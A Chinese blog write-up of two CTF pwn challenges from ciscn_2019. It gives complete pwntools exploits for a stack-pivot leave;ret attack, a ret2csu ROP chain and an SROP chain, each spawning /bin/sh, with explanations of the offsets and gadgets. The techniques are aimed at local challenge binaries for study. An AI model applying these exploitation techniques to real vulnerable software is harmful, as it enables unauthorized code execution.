记两道最近做的pwn题(ciscn_2019)
阅读原文时间:2021年12月18日阅读:1

这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意

ciscn_2019_es_2

这题是栈迁移的题,先上exp

1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 leave_ret=0x08048562
6 sys = 0x8048400
7 p=process('./ciscn_2019_es_2')
8 p.recvuntil('What\'s your name?')
9 p.send(0x20*'a'+'b'*8)
10 p.recvuntil('bbbbbbbb')
11 ebp_addr=u32(p.recv(4).ljust(4,'\x00'))
12 print('ebp_addr:',hex(ebp_addr))
13 s_addr=ebp_addr-0x38 # 这个ebp指向的地址是ebp+0x10的位置,然后再减去0x28个(s占的位)
14
15 # 这个payload2要反着拼
16 # s_addr是输入字符串地址,即设置第一次leave的ebp
17 # 第二次leave的ebp地址是aaaa,pop ebp后返回到sys执行shell
18 payload2='a'*4+p32(sys)+p32(0)+p32(ebp_addr-0x28)+"/bin/sh"
19 payload2=payload2.ljust(0x28,'\x00')
20 payload2+=p32(s_addr)+p32(leave_ret)
21
22 p.send(payload2)23 p.interactive()

程序有两次输入点,但是只有0x30个输入,s字符串有0x28个栈地址,所以如果覆盖也只能覆盖ebp和ret地址,无法做到直接getshell

所以第一次输入时先把s栈盖满,泄露出ebp的值

这里要注意,你取到的值是ebp的值,而不是栈的值,而ebp的值等于ebp栈+0x10的栈值(这里坑了我半天),画个图就是:

    0xffff00ff   |    bbbb

ebp   0xffff0100 |  0xffff0010

      .   |  .

    .   |  .

    .   |  .

    0xffff0110 |  xxxxxxxxx

然后下面这个栈迁移的payload已经说的比较清楚了,主要在于两次leave;ret;或者说mov esp,ebp;  pop ebp;  ret;

这块动调一下就明白了,不过如果正向去拼的话要有从后往前拼payload的思想,不然就是一脸懵逼

最后总结:此方法虽然懂了,但是payload不太好想得到,在遇到此类题再练习吧

ciscn_2019_s_3

两种解法,都值得学习

第一次遇到csu_rop,调试了半天还是挺费劲的,老规矩先上exp

1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7
8 # 解法一:利用通用csu
9 main_addr=elf.symbols['main']
10 rax_59=0x04004E2 # mov rax, 3Bh (10进制59)
11 pop_rdi=0x4005a3
12
13 p.sendline('/bin/sh\x00'*2+p64(main_addr)) # 0x10个字节
14 # /bin/sh 地址 0x7ffe6dc4e990
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 print('stack_addr',hex(stack_addr))# 0x7ffe6dc4eaa8
18 # 差值 0x138 因为返回的地址是main,main中做了栈帧
19 bash_addr=stack_addr-0x138 #找第二次的输入是0x138
20 print('bash_addr',hex(bash_addr))
21
22 # get_shell
23 pop_rbx_rbp_r12_r13_r14_r15=0x40059A
24 mov_rdx_r13=0x0400580
25 syscall=0x0400517
26 #   $rax==59
27 #   $rdi==“/bin/sh”
28 #   $rsi==0
29 #   $rdx==0
30 #   syscall
31
32
33 payload2 = '/bin/sh\x00'+'A'*0x8+p64(rax_59)# rax设置为59
34 # 设置各种寄存器,其中r12要注意,因为下面进行的是call r12+0,为了方便就call rax_59,这样就能巧妙的回来了
35 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(bash_addr+0x10)+p64(0)*3 #这里要注意rbx和rbp
36 # 设置rsi和rdx为0
37 payload2 += p64(mov_rdx_r13)
38 # cmp rbx,rbp 后jnz必须不能被触发,所以又进行了pop_rbx_rbp_r12_r13_r14_r15
39 payload2 += 'a'*0x38 # 7*8=56 6个寄存器,和一个add rsp,8(栈增加了8个) 被填充
40 #设置rdi为/bin/sh
41 payload2 += p64(pop_rdi) + p64(bash_addr)
42 # 触发系统调用
43 payload2 +=p64(syscall)
44
45 p.sendline(payload2)
46 p.interactive()

还是先泄露栈地址,这里有个巨大的深坑!!!你如果返回地址填main就是相差0x138,如果你返回vuln就是0x118,这也是各位大佬payload不同的主要地方

然后就是构造csu_rop的过程了,建议大家边动调边看解释

首先是返回到rax设置为59的位置(这里如果你返回别的,后面的构造会难受),然后pop各种寄存器,就是去初始化各种寄存器

这里也要注意r12的值,因为在csu开头会call [r12](后面那个寄存器被你置零,所以没偏移了),但r12跳转到哪比较好呢?按理说只要ret就行,但是这样各个寄存器的值无法保证不改变,尤其是rax

所以这里巧妙的去call输入地址加0x10的位置,就是你先设置的rax_59

然后再说一下rbx和rbp,必须设置为0和1,顺序不能变。这是因为在后面跳出时要比较他俩,而比较前rbx会加1,这样相等才能跳出循环

0x38个‘a’就是在跳出循环后,其实又一次进行了pop_rbx_rbp_r12_r13_r14_r15和一个add rsp,8; 这样必须把他们覆盖掉,也就是8*7=56个地址

好了,终于把所有的坑排清了,最后就比较简单了,设置rdi为/bin/sh,并触发系统调用

总结:csu虽然说比较通用,但是真的麻烦啊,而且得在前面考虑后面,明显不符合人类思维,难受的一批,但是作为学习此方式的途径也是收获很多

参考链接:https://www.freebuf.com/articles/network/87447.html

总体思路就是

# SROP: Sigreturn Oriented Programming ,系统Signal Dispatch之前会将所有寄存器压入栈,
# 然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。
# 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。

1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7 context.arch = elf.arch #必要,指定cpu架构
8
9 rt_sigreturn=0x4004DA
10 syscall=0x0400517
11 vuln_addr=0x4004ED
12
13 payload="/bin/sh\x00"+'a'*8+p64(vuln_addr)
14 p.send(payload)
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 #由于这次返回的是vuln,所以是0x118
18 bash_addr=stack_addr-0x118
19 print("stack_addr:",stack_addr)
20 print("bash_addr:",bash_addr)
21
22 # 设置sigframe关键寄存器
23 sigframe = SigreturnFrame()
24 sigframe.rax = constants.SYS_execve # 59
25 sigframe.rdi = bash_addr
26 sigframe.rsi = 0
27 sigframe.rdx = 0
28 sigframe.rip = syscall
29
30 print('sigframe.rax:',sigframe.rax)
31 # syscall调用rt_sigreturn
32 payload = "/bin/sh\x00/bin/sh\x00" + p64(rt_sigreturn)+p64(syscall)
33 # 设置sigframe返回地址值和各种寄存器
34 payload += str(sigframe)
35
36 p.sendline(payload)
37 p.interactive()

如果大家接触过pushad或pushfd的命令程序应该比较熟悉这种形式

相当于是把寄存器拉到了栈上,而程序如果存在栈溢出,就可以去调用rt_sigreturn这个函数,而这个函数可以随意更改其内寄存器,把寄存器精心构造的话就实现了getshell

pwntools提供了SigreturnFrame(),直接进行结构体的设置为getshell模式

这里也可以看一下constants.SYS_execve,在此架构下就是59

payload就是先同系统调用触发rt_sigreturn,在后面的栈上设置getshell参数和返回地址(当然这里没有设置,因为不需要继续rop下去了)

总结:SROP做着题就很简单了,但是前提得知道,读过论文,学习姿势+1

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章